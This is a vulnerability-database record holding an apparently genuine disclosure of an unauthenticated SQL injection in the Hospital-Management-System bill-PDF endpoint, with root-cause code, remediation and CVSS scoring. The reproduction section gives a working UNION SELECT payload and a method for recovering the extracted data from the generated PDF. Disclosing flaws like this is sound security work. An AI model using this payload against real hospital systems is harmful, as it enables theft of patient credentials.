{"uuid": "6ca92a01-89e9-46c3-a163-9075b16aa0be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-63513", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/d02815e9261c8de9e8afc46db844ec16", "content": "# Hospital-Management-System Bill PDF SQL Injection (vanilla PHP + MySQLi)\n\n**CWE-89 \u00b7 Unauthenticated SQL injection (UNION SELECT) \u00b7 arbitrary data exfiltration into the generated bill PDF**\n\n&gt; **Vendor:** kishan0725\n&gt; **Product:** Hospital-Management-System (vanilla PHP + MySQLi)\n&gt; **Affected version:** master branch, commit 777fda46b77a820977a5ba616283dbfbc40bf7e1 (last commit 2024-10-07; no official release version)\n&gt; **Affected endpoints:** GET /admin-panel.php?ID=&amp;generate_bill=1\n&gt; **Dedup status:** PARTIAL \u2014 shares the `?cancel=1&amp;ID=` entry point with the appointment-cancellation UPDATE sinks (separate submission) and with CVE-2025-63513 (IDOR), but this submission is a distinct sink and root cause: raw concatenation of `ID` into the UNION-able prescription/bill SELECT. No prior CVE covers this sink.\n&gt; **Disclosed via:** VulDB (submission #xxxxxx)\n&gt; **Note:** Sensitive extracted values (credentials) have been redacted from this public disclosure.\n\n## 1. Summary\n\nThe bill-generation query of `admin-panel.php` concatenates the GET parameter `ID` raw into a SELECT with 11 result columns, and the file has no session check. A UNION injection makes the query return arbitrary rows, which the TCPDF bill generator writes into the downloadable `bill.pdf` \u2014 a built-in exfiltration channel that works with `display_errors` disabled. Verified end-to-end: all 11 `patreg` rows (email + adjacent plaintext password) were injected into the bill PDF and recovered by decompressing its FlateDecode streams.\n\n## 2. Root Cause\n\n| File | Line | Statement |\n|---|---|---|\n| `admin-panel.php` | 86 | prescription/bill SELECT consumed by `generate_bill()` (below) |\n\n```php\n// admin-panel.php:86 (entry: GET ?ID=&amp;generate_bill=1)\n// $pid = $_SESSION['pid'] -&gt; empty string when unauthenticated\nmysqli_query($con, \"select p.pid, ..., a.docFees\n                    from prestb p\n                    inner join appointmenttb a on p.ID=a.ID\n                    and p.pid = '$pid'\n                    and p.ID = '\".$_GET['ID'].\"'\");\n// rows are rendered into the page and into the TCPDF bill: $pdf-&gt;Output('bill.pdf', 'I')\n```\n\nRaw concatenation of `$_GET['ID']`, no prepared statement, no authentication gate anywhere in the file. Column list elided (`...`) between `p.pid` and `a.docFees`; the result set has exactly 11 columns.\n\n## 3. Prerequisites\n\nNone. The request is a plain GET without a Cookie header; `$pid` interpolates as an empty string when unauthenticated and the injection in the `ID` position controls the returned rows regardless.\n\n## 4. Reproduction\n\nBaseline (benign bill):\n\n```http\nGET /admin-panel.php?ID=1&amp;generate_bill=1 HTTP/1.1\n# -&gt; HTTP 200, 7022-byte PDF\n```\n\nUNION injection (harmless extraction target):\n\n```http\nGET /admin-panel.php?ID=9999%27%20UNION%20SELECT%201%2C@@version%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%20FROM%20patreg--%20-&amp;generate_bill=1 HTTP/1.1\n# decodes to: 9999' UNION SELECT 1,@@version,3,4,5,6,7,8,9,10,11 FROM patreg-- -\n# -&gt; HTTP 200, 11844-byte PDF\n```\n\nVerification of the exfiltration channel:\n\n- zlib-decompress the PDF's FlateDecode content streams: the injected row (MySQL `@@version` string) is present in the payload PDF and absent in the baseline.\n- Substituting the `patreg` `email` and `password` columns for the `@@version` position injected all 11 patient rows (email + adjacent plaintext password) into the bill PDF: `` (seed credential values withheld; presence proven by decompressed-stream diff, baseline contains none of them).\n\n## 5. Confirmed Techniques\n\n- Manual verification on a local instance: MySQL 8.0.39 (127.0.0.1:3307), PHP 8.4.26 built-in server, `display_errors=0`, seeded `myhmsdb.sql`.\n- UNION SELECT with 11 columns (audit-era PoCs listing 10 columns were corrected during verification).\n- Exfiltration channel: TCPDF bill PDF, content streams FlateDecode-compressed; recovery by zlib decompression and string diff against the baseline PDF (11844 vs 7022 bytes).\n- Works with `display_errors=0` \u2014 no error output required.\n\n## 6. Impact\n\nUnauthenticated arbitrary reads against the entire backend database, with the bill PDF as a reliable file-based exfiltration channel. In the seeded schema this immediately exposes every patient's email and plaintext password (`patreg`), plus prescription and billing tables reachable via further UNION shapes. Extracted credential values are withheld: `` (verified locally against a throwaway DB).\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` (Base 7.5, High)\n\n## 8. Remediation\n\n- Use a prepared statement with a bound parameter for `ID` (and for `pid`).\n- Enforce an authenticated session before any database access in `admin-panel.php`.\n- Hash stored passwords (`password_hash()`); the current plaintext storage turns this read into immediate credential compromise.\n\n## 9. References\n\n- Project: https://github.com/kishan0725/Hospital-Management-System\n- Commit: 777fda46b77a820977a5ba616283dbfbc40bf7e1 (master, 2024-10-07)\n- CWE-89: https://cwe.mitre.org/data/definitions/89.html\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-28T02:13:11.000000Z"}